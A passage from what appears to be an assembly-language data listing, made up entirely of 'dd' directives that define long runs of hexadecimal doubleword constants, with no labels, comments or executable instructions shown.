		dd 0DF2E009Dh, 0E4D6B1F8h, 0AD00D198h, 50FB3725h, 50C3C2Bh
		dd 44DEE3CAh, 26148079h, 950024E8h, 162F8C4Bh, 0C0A67BFDh
		dd 797602A1h, 0C51B2436h, 902097CFh, 80186142h,	52001A99h
		dd 652049A0h, 60963233h, 952E91F8h, 0A1C017B1h,	9D5FC091h
		dd 0A022005Ah, 0F8ABBB9Ch, 7E1B162Ch, 0D871A8D7h, 2AD1A2FFh
		dd 6847E2h, 0D9198699h,	0F6F169E9h, 0E37581Dh, 4E4B4907h
		dd 0AB9920A0h, 95141F36h, 846C4692h, 88007907h,	1D139DF1h
		dd 2A4C91h, 30DDC036h, 0FD1A06C4h, 0A00042E4h, 0B7B3145h
		dd 0E1040A33h, 0A0CE9A20h, 60E91B0h, 69B328Ch, 0FD14D805h
		dd 81909F84h, 0B3950E79h, 10E892CEh, 646C80h, 9220A339h
		dd 0D9E26712h, 0A944B4A0h, 54D72E80h, 0E8D0A432h, 357E36h
		dd 813E7DFFh, 329CEA42h, 95FB5404h, 7744182Ah, 78008336h
		dd 0A0008FBBh, 9A946C5Eh, 303288C4h, 0D381CF92h, 340C0E01h
		dd 4130D722h, 37400AEh,	5645524Eh, 0FD7853F5h, 8D2F2600h
		dd 89E4F8Bh, 0E0780A04h, 3880F4A4h, 4EF6E792h, 99606D3Ch
		dd 0A1C84FE3h, 0A5E99D0Ah, 4901A019h, 41677331h, 0DBA36500h
		dd 0E88D5B30h, 70782B79h, 0FDFA0546h, 0C413CAB2h, 26B040E6h
		dd 0B8B0779Ch, 2810CF68h, 43839102h, 3215003Ch,	0D9C6FF94h
		dd 91F8E7h, 72994DD1h, 21742B58h, 28DA291Ch, 213C541Ah
		dd 4D193198h, 572CECh, 0F88EBA13h, 0F75CBD71h, 0E5406A00h
		dd 878F7CCAh, 94190CD6h, 0B169FBF0h, 86673FE2h,	6810238Ch
		dd 624ECDF9h, 2CCC0DDh,	877EC083h, 0E01876C7h, 733AEF06h
		dd 26B840DFh, 21E5FB48h, 8A92C0h, 5C2BC272h, 44078B97h
		dd 77967675h, 48B78940h, 0C1010779h, 64FD3049h,	453490ABh
		dd 0C0921B95h, 8464990Ch, 4FE110h, 0A60FE498h, 0F37B7085h
		dd 7423870Ch, 90F7900Dh, 0FC44014Fh, 0A014077Dh, 0A3188908h
		dd 8144108Ch, 636B1343h, 49301FF0h, 0F3853DFEh,	0CE8440EAh
		dd 0E11D813h, 0E51DD0A0h, 9CCF4A24h, 0C879C743h, 605F9527h
		dd 4482509Ch, 183A1419h, 354C00FDh, 53ADDDAEh, 133E203h
		dd 2AA04EC9h, 0DC26B7C7h, 0F8F34411h, 0DC07AE9Bh, 8776BB91h
		dd 0A52AB440h, 0D9BF0174h, 71B6C90Bh, 0E413E1A4h, 4F2875EDh
		dd 0CC0085F1h, 11F318D2h, 0CB4E3Ch, 26786B3Dh, 926CEDB1h
		dd 0DD3FC000h, 0DC796407h, 0D4090781h, 602C0F19h, 7BCD13EBh
		dd 8C402028h, 486E853Ch, 0FD7D04F4h, 3347A57Eh,	6C90098Ch
		dd 0B44835Fh, 16FC0123h, 0B7D382F1h, 37F0EC24h,	2F04F475h
		dd 1A58E097h, 0CA7B24D3h, 600C4030h, 81B89925h,	777DCFCAh
		dd 7868EAE7h, 0AC7CDCA1h, 0B3F54400h, 5C2AF231h, 0D4350126h
		dd 482B8785h, 1AA8241Bh, 0A9D38312h, 4CEDDC01h,	0C45253E5h
		dd 95E0908Ch, 0B1BEF11Ch, 317B938Ch, 94120B88h,	44187390h
		dd 26CF5B10h, 49BCE677h, 0F839F580h, 3800910Eh,	0FA4298F0h
		dd 86D28Eh, 0EAF4D436h,	0C07726F6h, 0E8FCE834h,	7B459C00h
		dd 7FE48F78h, 7C020D9Fh, 0D8B019ECh, 0CB207391h, 0E1F839A4h
		dd 538D67Dh, 5FA7D791h,	8CCD04B8h, 2A7480DDh, 4009ADE2h
		dd 2733D79Bh, 36A0D8A4h, 0A45687h, 0F73DA548h, 0CC5CF119h
		dd 49B87900h, 0FC131F34h, 9F78CB10h, 98323C21h,	87E43404h
		dd 28480B18h, 5542520h,	0E39C8822h, 74CC47FFh, 0C90DF495h
		dd 0E0032ECh, 0E03F31A3h
		dd 0C150839h, 9060989Ah, 0DC8C501h, 0F2D48D81h,	1816BAE3h
		dd 1408C728h, 117E820Fh, 0E4905413h, 640A901Dh,	0E0BB8D25h
		dd 6C5FD683h, 0C481F0C7h, 0DD4D8017h, 2092F331h, 4C60D4BEh
		dd 82F4AA69h, 63A6CFCh,	7E223872h, 0A9A78B0h, 941F95BEh
		dd 39F21868h, 150B0EFCh, 4303AAh, 7ACF3292h, 1F581CEFh
		dd 0C3F95C9Fh, 37CCA12Ah, 559091F1h, 0C704484h,	81770022h
		dd 3783D40h, 802E2B3Fh,	79F83B4Eh, 492CC0C5h, 834E4C1Ch
		dd 2C15B07Bh, 426CDAA8h, 9C987A0Dh, 14C8128h, 7B8B04B0h
		dd 50800F6Dh, 4D48D9F8h, 0B00344FEh, 850EED64h,	62CE5905h
		dd 0F0249631h, 79648015h, 5046A0B8h, 6F2E810h, 456F83D4h
		dd 99050A60h, 8DCD378h,	0D814F680h, 8D4D09FCh, 3EC0A55Fh
		dd 740B58CCh, 88460422h, 80A01290h, 5CE493A8h, 17236580h
		dd 5B87C7E5h, 10CA589Ch, 84A97E07h, 0D45D3ACh, 0C050424Eh
		dd 8B00FF30h, 48B31F83h, 2821E482h, 2E4F10BEh, 446D061Fh
		dd 0F30F76Bh, 3420D263h, 2A803DDh, 1AEA410Eh, 0A4C4F0F3h
		dd 3503CAF4h, 0B0B531CBh, 9C0DC81Ch, 59C30275h,	41F4172Ah
		dd 0FB869C82h, 0B7DF4520h, 2693030Ch, 2CFFAB8Dh, 2ED7D815h
		dd 0B18F00E4h, 0D3EAEDD0h, 43F40F95h, 836024C7h, 0D517AD2Ah
		dd 79EEF102h, 0F0FF7D8h, 498B93C3h, 2878B80Bh, 5AC29ADh
		dd 0A461F098h, 0C805A417h, 0D200340Ch, 85693C48h, 0BBBCE9h
		dd 3121FC07h, 35B9B0DDh, 0C0159F00h, 33E3A35Fh,	9640C986h
		dd 0B1FF1810h, 88EA1031h, 9A207A1Fh, 2B28121Bh,	0CA45EE4h
		dd 0D3319AF0h, 0E92DD730h, 0D698C6h, 27AFB973h,	408C478Eh
		dd 0CE33Eh, 364FD26Ah, 9081762Eh, 52F72008h, 19CE6017h
		dd 0A091848h, 41E88285h, 3FEF73h, 1330DFAFh, 0A8078Bh
		dd 3D14FC94h, 0FD027653h, 8D7AC698h, 0E0284090h, 0D8E94184h
		dd 712476D3h, 4C40ECF0h, 0E8995795h, 0AC260047h, 0EF072AF4h
		dd 1D00C10Eh, 51926FDEh, 0A3CB1D3h, 1BB9524h, 0ABD600E8h
		dd 0CBF105Fh, 0D197FD01h, 0BE930B2Eh, 0E0DEA2EDh, 8344A424h
		dd 7BFDC8A0h, 5A842FDh,	0B04C4862h, 4C361820h, 0BF25FC67h
		dd 0A4BBB003h, 71032793h, 9532C9F9h, 20390460h,	175C7Bh
		dd 7F8B9073h, 2000833Dh, 1CB79F7Eh, 1A97A506h, 0F02F8531h
		dd 35AD248Eh, 0C47329h,	0D202C8E4h, 2C738067h, 0BB94D7F6h
		dd 0C082AF20h, 99FBBC40h, 82C77B81h, 8588E162h,	0E6000062h
		dd 9995A4D8h, 4401FE56h, 0C542273Ch, 5830ED3Ah,	4989491h
		dd 55F8820Dh, 50179FD8h, 3BC4A837h, 4098EF4Ah, 8729653Dh
		dd 0C8B1CE28h, 90B56332h, 0D07844D9h, 27B10440h, 94B10018h
		dd 38C1611Fh, 75D07B87h, 67DDE8ECh, 95F1BE61h, 0C8353329h
		dd 4B0C8026h, 5F591384h, 79A55B0Eh, 0E00E5347h,	942CDF14h
		dd 1E12CDA0h, 18C72F94h, 97D28E1h, 47BF1D01h, 10408688h
		dd 48023087h, 3DC11C96h, 70007911h, 257F5D02h, 1C004283h
		dd 34A12214h, 30790FA3h, 13296D28h, 98A2FFD2h, 3ED04CCBh
		dd 18050714h, 59FC0BCDh, 0CC0A9416h, 79849463h,	6C96D5CCh
		dd 33741838h, 0DE7AC859h, 0D82A08A4h, 0B485C029h, 0F119280Ch
		dd 79350CD9h, 0B19174E0h, 87B810Ch, 3C9E785Ah, 0E09AC17Dh
		dd 60602170h, 0DF899C7Bh, 0A833B060h, 306B9118h, 82805E5Bh
		dd 71C81C16h, 576803Dh,	4F3F0DD5h, 1749B001h, 7242743Eh
		dd 1F4ED08Eh, 604163ECh, 0EBF0DD12h, 0D8662840h, 393462F5h
		dd 0DA80597Fh, 588656CCh, 2A51A304h, 1F22C298h,	0D80210ADh
		dd 2765CC44h, 6880B1F1h, 0F53EBD0Dh, 48012373h,	0BA35D14Fh
		dd 0B0E47FC9h, 0E62B1E7Eh, 5551C047h, 4AF9DE95h, 921E5300h
		dd 60690293h, 0F03D005Fh, 5744841Ch, 0E8092CAFh, 154E98h
		dd 682F40C2h, 0BC011DB2h, 4DF4008Ch, 9391AC57h,	93A3A6E0h
		dd 8412401Dh, 1DC98280h, 6ABEE8h, 440CAC0Fh, 15D15345h
		dd 0AE88F707h, 1E60BAF4h, 65C191h, 3E7057A7h, 5AD510E9h
		dd 1DD38209h, 1E6CE9E6h, 95AF045Ah, 1DEC01F8h, 0C97C54D2h
		dd 0E99D820h, 0CB41179h, 0CF12EEE0h, 0D8004610h, 194DCEAFh
		dd 3F86EACh, 9A66A65Eh,	4100240Ch, 0B1D6D156h, 7BB7BBh
		dd 453B11ACh, 63EEFE61h, 39B68B1Eh, 98FC00F9h, 6772F2FAh
		dd 383E4096h, 0DE516210h, 6B7950Eh, 45400780h, 0C00DA3Fh
		dd 43AA8BBAh, 0F01951h,	72F98FE4h, 250B5D56h, 62C72F0Fh
		dd 0B8D6807Dh, 26097497h, 12383DB1h, 0BA942E9Dh, 0B010FA12h
		dd 2C72DFD1h, 7CB79800h, 453107ACh, 0EED61E4Ah,	0CEAEC0F7h
		dd 0A7F25348h, 9C028A00h, 0EF1B701Ah, 6337001Ch, 2621924Fh
		dd 11744ECAh, 0D8ED0D07h, 0B8A0045Bh, 5DF394h, 0A1F864C5h
		dd 0EE9D5CFEh, 1A409A61h, 0C64CD5h, 126DC9ACh, 0ED0009E8h
		dd 0AD247EEh, 74F18F49h, 1F7D02h, 6C5CFA92h, 0B91A705Bh
		dd 48D5170Fh, 0BA268382h, 0C212E8BCh, 8CFF5909h, 0C4A8ABh
		dd 8423ED07h, 2CE4574Eh, 7B99AD1Eh, 0FF7DB7C0h,	40CF3645h
		dd 0F500E108h, 0A61E2263h, 3682C92h, 0FB3E6B5Bh, 10E83B23h
		dd 260019D7h, 0AF7787C3h, 3EE6393Dh, 0BD809746h, 5206F18Dh
		dd 0A100EDFCh, 56696057h, 0B90D9Fh, 4D5BD227h, 0C61D42D5h
		dd 2A22B700h, 34452C7Fh, 48EF01CEh, 0C4F8F189h,	0FE92DC54h
		dd 676AEC00h, 0F2B94F5Eh, 0F883F83Ch, 0BDB13E18h, 824C880h
		dd 97562C3Fh, 22AC2258h, 9A2502B8h, 209D5FF8h, 4378892h
		dd 0B83560FFh, 5B00A4F3h, 514BF1C0h, 396F0E54h,	18290452h
		dd 69005434h, 3D7067A0h, 15F524Bh, 0A451A518h, 0CD233860h
		dd 0EF1C589Ch, 9DB3BC1Fh, 0FB1E681Fh, 7CC00116h, 3EDD65EEh
		dd 488B877Eh, 0D8624F14h, 4500B0DAh, 8437DD4Dh,	8FCB5C2h
		dd 18A1BB2Dh, 7A346025h, 887500DDh, 8B9A76FEh, 18C0360Fh
		dd 81111905h, 80804E43h, 0F16AA210h, 92ED5405h,	54002C8Eh
		dd 189FBCB1h, 0CD160539h, 627FF6D1h, 0DF04FF1Ch, 7B1E34ADh
		dd 0F2B28023h, 29CAA3FAh, 1C1C4C3Ah, 0CB407F67h, 935695A9h
		dd 40ECBE8Eh, 5FAF747h,	444AE100h, 97E05394h, 33090007h
		dd 0DD1E1BACh, 2C5EFD57h, 80A6A448h, 0C6BDA997h, 810BEE85h
		dd 68189CE0h, 0C0FE80E4h, 0B0990861h, 782965E7h, 0E979B458h
		dd 0EB24D019h, 0AC50E00h, 6B92A1CAh, 283A44D3h,	70799D60h
		dd 40844FCEh, 3E00A21Ah, 90F44137h, 33A9A03Ah, 44084297h
		dd 3F572100h, 18B9BB41h, 0A4D918F7h, 0B3904824h, 1E8AFB22h
		dd 0E5EB93A5h, 8C768460h, 0A1029000h, 77B592FDh, 0C7B84AD8h
		dd 107B67DCh, 0FAF04D18h, 0EFF62207h, 88F72554h, 838D3E00h
		dd 609F451h, 34B87804h,	91E470F3h, 47ED6F00h, 0EE22E30h
		dd 7876001Fh, 0A2143681h, 0A16A5FC4h, 0F9115480h, 7CDD6380h
		dd 448C5887h, 4B0043F2h, 7F3FD4DDh, 0EA2DE86Eh,	6482020Bh
		dd 0C29A7779h, 34186940h, 3C9EDC24h, 0C17E4280h, 70A42362h
		dd 0A1D5F22h, 80E83A50h, 1BC18668h, 0C8001975h,	0D23BD6E2h
		dd 60F12F31h, 37049905h, 8B0AC517h, 7C8C7152h, 849C5781h
		dd 0C42401E6h, 0DB0300A4h, 3419772Ch, 69658002h, 38A08708h
		dd 0DAFB01BAh, 0AC99B1BBh, 20C6E9DFh, 0D301C0ACh, 24329047h
		dd 0C4422214h, 0E1E0A73Ch, 0AB2BCh, 0C4A3FE68h,	1807F3F2h
		dd 5992E730h, 0FDCBD8h,	6F755608h, 5209AE0Dh, 5F4B300Fh
		dd 602DAF79h, 0D589B198h, 3D3A06A7h, 603B9628h,	268284B6h
		dd 0A039D73Fh, 7137608Ch
		dd 0D849072Ch, 60A51FDEh, 62337D2Eh, 18688800h,	23675065h
		dd 0FF220464h, 0B9CFD0B9h, 0F0AD1408h, 0CE838890h, 772BDA01h
		dd 20F21911h, 0C4DAF8BBh, 0E876071Eh, 8D6CD300h, 1226E5B0h
		dd 2F70BC5h, 0F6EB40DCh, 0AA334460h, 75040838h,	145A9524h
		dd 0EF462CA8h, 82DD4902h, 80674887h, 0DD514100h, 2092E4h
		dd 0A153ABE2h, 0CB6B3A94h, 826080EFh, 7BFD1495h, 8590A957h
		dd 7AD0402Eh, 1CA77503h, 0B5C6610Fh, 234495DFh,	0DD4C03F2h
		dd 8052877Fh, 540EC070h, 3EF1DDh, 75D31B5Ah, 52E1F7B5h
		dd 15014E13h, 8689804h,	89820D42h, 0C0979CA0h, 8097EC38h
		dd 76D94F4Ch, 83E42417h, 944308B8h, 1B5FD700h, 338C30DBh
		dd 14506B78h, 209432CCh, 9702DA95h, 2E0099DEh, 6F732914h
		dd 0E8019734h, 263E1806h, 0C18002B4h, 3154234Ch, 48621041h
		dd 0ED1600C1h, 89A78A6Ch, 2704EF94h, 1B83935Dh,	2A0F14ACh
		dd 0B2038BB3h, 5680D81Eh, 2093499Ch, 29DAF603h,	8D62CC77h
		dd 0DAEEC120h, 237900AFh, 8F7F733Bh, 0FCE8D7ADh, 0B5839012h
		dd 0BB324C40h, 7405CED5h, 70909598h, 0EF2AA052h, 0B600D802h
		dd 921BCCBCh, 9E1ED6Eh,	3D8A5D93h, 0CF007859h, 0E5911826h
		dd 2F1C024h, 4C953048h,	0E7797600h, 2C647FF7h, 0F6237C17h
		dd 0EBBD1425h, 0CD05C8B2h, 1227842Bh, 235C3AC0h, 20360035h
		dd 0F327D534h, 0AB134C98h, 28A04522h, 7920B171h, 0B01840h
		dd 0E731BC21h, 28770974h, 48F7CD2Ch, 36605444h,	9023F541h
		dd 0A1142h, 59413E5Eh, 7C078B9Bh, 11D4912Fh, 296407BFh
		dd 56E45B4Eh, 8AC814CBh, 60C9A3C0h, 351A00CAh, 7BC43B80h
		dd 0A8A0300Ch, 0CE297269h, 29015851h, 2A90F641h, 59883F18h
		dd 52410031h, 0D7ECE685h, 432D1F29h, 0A0C4088h,	415B077Bh
		dd 0C500EB4h, 0D6005AA9h, 0A97F91CCh, 5C392D3Ah, 45012FC1h
		dd 0D7941E6Eh, 98F8844Dh, 0F4BCA4B8h, 93D48B29h, 0AA50F4D8h
		dd 0C3094E05h, 0AF81B78Fh, 203AC7A2h, 0DDEB3C94h, 5D121D01h
		dd 0E68F0BF0h, 0A46798C7h, 14B87A44h, 0A4B387E7h, 7F2E4700h
		dd 0DF418274h, 0FDF13115h, 0F34CB8h, 3A71191h, 0B2C8EEh
		dd 3680B10Dh, 2878F4CDh, 486D052Eh, 850A038h, 2708E082h
		dd 800E1713h, 0B7A9081h, 2C01A395h, 0F791E41Dh,	2EC54480h
		dd 614866A7h, 3C7C2EA9h, 0D7B79083h, 9D6904F9h,	0EC8E43E3h
		dd 0BCA87B1Ch, 280046AAh, 4CF409A7h, 0F6B41ADh,	0EE547E98h
		dd 0C005D3C9h, 0B20CC686h, 0EC122877h, 0ECF4E687h, 0FAAF0004h
		dd 681CF0E5h, 0F201C894h, 0B8796FF7h, 8100EFDCh, 1EFC9058h
		dd 7CD37426h, 39289883h, 8620261Dh, 31080933h, 60221002h
		dd 0E116E05Ch, 917140A0h, 18467998h, 8D13EEBh, 950ED687h
		dd 0CF1782CDh, 9885EC84h, 0DB080290h, 0C421772Dh, 0FABD408Eh
		dd 362D4DAh, 7B873F18h,	0A8023BACh, 4F9330FDh, 5CF0912Bh
		dd 1574D1AEh, 997EBCF8h, 183779F0h, 8DBA002Ah, 0C724F4D6h
		dd 0DE007FD9h, 0EF7C7947h, 1997CD71h, 7012FCE0h, 0D8AC4C1Dh
		dd 0AA0C20B5h, 0FACCD4h, 68140870h, 1D53D6Ch, 0E72BF209h
		dd 10B0F2C6h, 481AA8B8h, 52C310E0h, 9840CC52h, 0F5048C4Eh
		dd 697736DAh, 0ED02C438h, 18EA30DAh, 4D5601E5h,	0B2CC33F0h
		dd 5DAA3041h, 0B70010F0h, 9DA84575h, 60E74982h,	79D591FDh
		dd 11035CB4h, 5429C64Ch, 42878225h, 4A5C41FDh, 41082C18h
		dd 0C4529103h, 34544043h, 0B845C41h, 0CCC0B79h,	3884D450h
		dd 91BE3500h, 0F3D1A42Ch, 2F0B228h, 0BBA5FB59h,	0E440043Bh
		dd 3FFC2387h, 94B140C0h, 922E5331h, 2EC46F0h, 8781DD46h
		dd 0A8E750h, 0FBDD4E10h, 820BC559h, 84D2B1D4h, 0E4908B7Dh
		dd 0E7A81407h, 0AAF26882h, 0A062776Ch, 0EB44DCC7h, 70C91761h
		dd 0AB0BDC12h, 52031CEh, 888274D1h, 0B0F8C8C1h,	6465F528h
		dd 7472E6C9h, 7F299C00h, 0CA2207A0h, 0D831E400h, 6FE574B0h
		dd 2A360095h, 513E8349h, 0FC6BF0EEh, 5B550179h,	0E3F03368h
		dd 11E5007Fh, 0D7064D15h, 7E4881F6h, 8C91E8D8h,	7FC905Ch
		dd 2693C3CBh, 0EB8D0BA2h, 0A0F4AA14h, 0FD8CB198h, 0C4CCA769h
		dd 0B81260F6h, 2BF004Dh, 84C62965h, 191C44F9h, 0EE447B09h
		dd 1E05F04Ch, 6900C1C0h, 0F8F1003Bh, 1D08A93Dh,	75AC013Bh
		dd 0C6C7414Fh, 1E9E2060h, 48DF3380h, 88E8C4BEh,	7DB9018Ch
		dd 4C1B2F0Eh, 8C4ED4FCh, 54F221D3h, 0CA3CAB00h,	7DFB9B99h
		dd 72826700h, 2A241B8Fh, 7E4C012Ch, 0D8775CEAh,	5868396Ch
		dd 486B4A34h, 0AD7C4800h, 1892A69Ah, 895CDD05h,	98BD94EBh
		dd 0CC683B32h, 7600D858h, 0B3F1DAFDh, 4EA02664h, 0B7E0C05Ah
		dd 9C7A677Eh, 0E82BCE0Bh, 3FFC910Bh, 0C1088118h, 0C44C2347h
		dd 495D4038h, 2C19F1C1h, 85835CAh, 0A4F0BCh, 0E0502B90h
		dd 38852113h, 2D18E9D9h, 0A55C6501h, 9B163DD4h,	0ED030C70h
		dd 4B30D205h, 0E1412B30h, 0B0636321h, 41335380h, 680C4D73h
		dd 0B0CA255Bh, 0E02E418Ch, 0C9E0F95h, 110442Fh,	219C3BF9h
		dd 0E335B911h, 77E6A1B7h, 2644203Ah, 29585380h,	70F804h
		dd 877DDD62h, 44864970h, 4A0044F5h, 0A8E341DDh,	0B5E6782Bh
		dd 2C3C90A0h, 76792830h, 7F2D8100h, 0C8C6846Dh,	0E6792C43h
		dd 3574030h, 64027C6Ah,	54302125h, 40CCD6EDh, 3B2882F3h
		dd 9E166800h, 4962C943h, 0A56B07EBh, 7912D050h,	0AF8094FAh
		dd 91FAE910h, 848CCE48h, 890A4D8h, 658476h, 41B47EC7h
		dd 587F980Dh, 0F679B8B9h, 0BB1F0A18h, 11C977AEh, 0D0938B0Bh
		dd 0E7E41024h, 582F4BB4h, 0F300E923h, 349AE4B3h, 0B5ED3DCBh
		dd 5C2B79A5h, 2E0090D9h, 0FC09FFADh, 0F0FD007Fh, 17C02F84h
		dd 70010138h, 4D652813h, 51DEAB8Bh, 184571DCh, 86C3000Fh
		dd 87C82619h, 40692C2Bh, 764C02E1h, 9096209Ch, 0CC940383h
		dd 4813571Fh, 0DAF70860h, 0F9771328h, 308A33h, 0C2DAEFBEh
		dd 0AEB2FBCh, 716F796Ch, 0A465658h, 7A75F904h, 7F4C1C7h
		dd 0D8CC04A1h, 1167009Bh, 68913E4Dh, 0A90B3FD4h, 0F8B6820Dh
		dd 1370985Ch, 0CEFF2CF0h, 0C0F5C834h, 0E92BD262h, 3F939217h
		dd 5AEEE8A1h, 0F7FD0148h, 0C432EC81h, 99573080h, 55B2B900h
		dd 1D3A4F82h, 3A28D209h, 352360h, 0AE1AEBF8h, 9202B9CBh
		dd 0C0E081B5h, 429CD4CEh, 30841856h, 0C1826040h, 84232D46h
		dd 5C00E816h, 7545C14Ah, 566F95Bh, 0BEC0990Ah, 0CE54807Fh
		dd 0E710EB6Ch, 95169D20h, 8FF0B41Fh, 0A2377327h, 0C01863F8h
		dd 8117B268h, 2900F385h, 0F911E1BDh, 0BAC64Eh, 0D38F5AB2h
		dd 0DB0F70A5h, 0A49B2C2Eh, 5CE0E81Dh, 4E23E802h, 0F7413801h
		dd 68233290h, 41305883h, 0D72D09A8h, 0DB8D440Bh, 0B1087289h
		dd 48041FF0h, 0D80FCE7h, 0C16C7608h, 36605EBh, 0D0CCB806h
		dd 0D94F7478h, 0E0BC302Dh, 80F0F838h, 189287EFh, 3078FE2Ch
		dd 74CCFB45h, 0C27A0991h, 188088ACh, 0DF4C7E05h, 0A6A4CA2Eh
		dd 536B1A02h, 3E9885A3h, 0EF1824B2h, 0CBEE41F0h, 23A0F900h
		dd 0C0885CD5h, 102C00FDh, 5318E0E7h, 1E128DA8h,	348009DDh
		dd 0E1289603h, 0C07E499Fh, 256AA89Fh, 31077C7Fh, 79185F55h
		dd 78A02B12h, 5F07E69Ch, 56884B98h, 88C4C865h, 0D1E89760h
		dd 210B0FE6h, 606BC526h, 0DC24E34h, 0C0820E85h,	0A2EC6331h
		dd 0A547308Ch, 57E1EE01h, 2943D63Bh, 6584207Eh,	1200E085h
		dd 0BDBEA340h, 0F61E48F4h, 20954FE2h, 0F3D65A00h, 6C08DC64h
		dd 15277E87h, 652995F1h
		dd 0B1919850h, 0C209FABAh, 8E534311h, 6F4F8B60h, 17BE4100h
		dd 1B9805DAh, 50A30111h, 9532B77Ah, 65042486h, 0E3932900h
		dd 0F0B43A4Eh, 703E89F1h, 0E8405070h, 20B09880h, 0CF143BFCh
		dd 2E81FD6Bh, 601F787Fh, 0A8438102h, 152CD915h,	791CD0C2h
		dd 848767C0h, 0D6CA707Eh, 6A3A9A5Bh, 0C420DA0Ch, 49180651h
		dd 7F80FC35h, 9C2365C1h, 6B3B448Ch, 0A9C18703h,	0F03D5D4Bh
		dd 0F876E20Ah, 0FEF030F4h, 0AA8C38C9h, 797CD61Eh, 0CF1890C0h
		dd 0FB6B10h, 663468BCh,	845DDBBBh, 99462E00h, 0FD2A102h
		dd 256705FEh, 0A28A47BDh, 0C031C8DCh, 2349C183h, 0E0E07C5Ch
		dd 58C14B5Fh, 0FD0BE1DFh, 0DC467A45h, 0F4C8965Fh, 7931727h
		dd 0B2B8643Ah, 3346B20Ch, 816C35D8h, 0E8F0032Fh, 0E01D9F80h
		dd 75A81EAAh, 2B2883DEh, 0D02E13B4h, 0F708F4F4h, 7E8094Dh
		dd 0D823B901h, 85208C2Ch, 0FB6111h, 0F947A7F8h,	3AFEDB19h
		dd 0D805E60Eh, 98F6B14h, 58CB7E4h, 40FAF16Bh, 4EECF5D8h
		dd 0E1009429h, 22E84635h, 24FB062h, 5A9FD741h, 0F0C0A2B1h
		dd 2588AB15h, 0BF4F708Dh, 0E8C16C09h, 0D5908207h, 7B3C9F83h
		dd 198A5914h, 1F1F9D20h, 9470EC0Fh, 2010900Ah, 0F14C7817h
		dd 95628080h, 0D53B5Dh,	4FC65EF2h, 4D0C0A7Eh, 0DC0BF579h
		dd 0D28580DEh, 99E60A8h, 6E79644Eh, 91909254h, 9D74AD78h
		dd 324CB650h, 58805216h, 0EA23FC2Fh, 8FDA7900h,	12073C89h
		dd 173EA8FDh, 468B4E8h,	30D71F2Eh, 1B8A1E1Ch, 5B029839h
		dd 0F32FFE25h, 4A0473C8h, 4A54CCB2h, 0B3D3A481h, 0FCC82903h
		dd 24954F0Eh, 0F0B4DC90h, 45CB0906h, 49007F9Eh,	0C1C66C10h
		dd 60468200h, 3C188D28h, 31471430h, 9C908097h, 0C2787313h
		dd 7CC076A4h, 7BF6F247h, 0C16AC5Eh, 4123283Ah, 0D1A2D600h
		dd 0B3787h, 4154FA52h, 0A6C6950Fh, 5F14DE5Ch, 0C4A30C42h
		dd 1274FE67h, 0C4D49A68h, 9E87305Ah, 0FC642E40h, 1F2CE678h
		dd 872FE8B1h, 115FC4D5h, 7FC38D23h, 7BC5E002h, 0B5E85048h
		dd 33E86CACh, 0C17D048Ch, 626C2363h, 85692036h,	7F0044C1h
		dd 0DC875CD2h, 170B9452h, 4DFF21Dh, 21F134D0h, 27102F80h
		dd 0A54F4BC5h, 42485444h, 97BD041Fh, 5045AF92h,	88C1AF8h
		dd 0A2A9D2B9h, 0E9B30038h, 37C10ED8h, 0D6B10758h, 0E0E84436h
		dd 4DA538F2h, 0D1B31D01h, 8FE648FDh, 7C4C4181h,	0E42BD0C7h
		dd 9F0045AFh, 2E6EDA06h, 351B880h, 2782027Fh, 81248C2Bh
		dd 6B1247FDh, 961774E8h, 90F0B4B2h, 255ACA00h, 10438206h
		dd 0A858A93Fh, 20D8F815h, 8B990B27h, 8081A5FBh,	0F2953305h
		dd 23F91E00h, 8284AAB4h, 598BEB08h, 18F3D9B0h, 0C00A5068h
		dd 101A43C8h, 852C17F0h, 42434018h, 0AE023251h,	951C6ECBh
		dd 34ECD083h, 0E2C0C501h, 33F5F204h, 4BF208E8h,	0B839912h
		dd 20B70A8h, 78C11862h,	84818110h, 2EF00BCFh, 1F5C922Eh
		dd 87441867h, 0EB217960h, 0FA3F4602h, 87B19293h, 0BC1C8CCh
		dd 84694264h, 88627310h, 0DD47C2EDh, 2BB854E1h,	0F20FB42Ch
		dd 877A13DDh, 23083AFFh, 38470034h, 0AD07FBB2h,	0E2645128h
		dd 94AF692Eh, 0CCEA03Bh, 2CD79029h, 300BB39h, 0CB26C07Ch
		dd 0ECEE52h, 8FBF6FC2h,	1992D77Bh, 700F9130h, 7C2B49D3h
		dd 296401ABh, 0AFFD96DCh, 0B8B42C07h, 0F3268C39h, 0D7805425h
		dd 0FDC86586h, 427B148Ch, 800FE403h, 0E3C1396Fh, 60CF8F9Dh
		dd 60A88898h, 71C0A8DCh, 0BCAAD113h, 83D0B157h,	0F5473B42h
		dd 0DFB96BC3h, 0C37B7093h, 0D8972909h, 8F58268Ch, 0D14891D8h
		dd 53A1839h, 97939146h,	0F458F44Bh, 0B042EE43h,	1B13FC4Ch
		dd 1C442198h, 9DD70019h, 0FDFF01CEh, 52B38B9Ah,	182D2F0Ah
		dd 0F6AC203Ch, 3AA028Ch, 0E72D630Ch, 4900E4DAh,	52FC2B01h
		dd 461B76h, 0CD6A263Bh,	0B4CCA87Eh, 0AC3CD206h,	8331B5E7h
		dd 3008C7B8h, 9FC61E8h,	683E042Eh, 7018A246h, 0CD1F8528h
		dd 24F8F052h, 0B9658583h, 67984FD0h, 0BC5E3D26h, 8861481Dh
		dd 64249C71h, 0AE1281Eh, 628C3CC7h, 400AFF10h, 79F09601h
		dd 887C5213h, 23CC2B97h, 9A4A0541h, 70E2C048h, 9E032864h
		dd 39390DAh, 3B781244h,	0A2DCF39Ch, 37BA33F3h, 343F8CC0h
		dd 71315425h, 0F14F0060h, 0AE9FC126h, 5877F613h, 0F523142Fh
		dd 0CF069400h, 123EAB64h, 0C0D0B877h, 2F5D7660h, 886C9301h
		dd 922350Eh, 0DDB8832Ah, 5581902h, 602E9CDAh, 80FC900Ch
		dd 0F8129674h, 540578F7h, 0D01243C8h, 7600446Fh, 4651F462h
		dd 4E02110Ch, 0CC9197F5h, 0C3B4E15Fh, 567ACC63h, 0BF03440h
		dd 6709DC60h, 30AD662Ah, 920C8508h, 0EC630040h,	9EB0EABEh
		dd 3600A3B7h, 188054B1h, 5233FFCCh, 0E448CC9Ah,	1FF9A831h
		dd 0DC49D6DDh, 392860CFh, 4D82C18Ah, 2DC0202Ch,	4A910241h
		dd 841695h, 5413555h, 1926640Dh, 4479A802h, 0C075FA1Dh
		dd 88E988A0h, 78DDF753h, 0CE018D90h, 31483770h,	8392EC79h
		dd 509D7B27h, 952810A4h, 6B8B1DCEh, 8143D38Fh, 36826E06h
